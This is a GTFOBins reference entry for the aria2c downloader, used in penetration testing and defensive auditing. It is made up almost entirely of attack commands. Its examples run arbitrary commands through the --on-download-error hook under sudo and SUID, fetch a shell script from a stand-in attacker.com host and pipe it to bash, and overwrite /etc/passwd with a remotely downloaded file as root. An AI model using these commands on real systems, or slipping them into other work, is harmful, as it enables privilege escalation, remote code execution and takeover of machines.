GTFOBins.github.io/_gtfobins/aria2c.md

description

functions

Note that the subprocess is immediately sent to the background.

command sudo suid limited-suid code COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF aria2c --on-download-error=$TF http://x description code The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID. aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa code COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF sudo aria2c --on-download-error=$TF http://x code aria2c -d /etc/ -o passwd "http://attacker.com/passwd" --allow-overwrite=true description Remote download and replace /etc/passwd with root privilege. code COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF ./aria2c --on-download-error=$TF http://x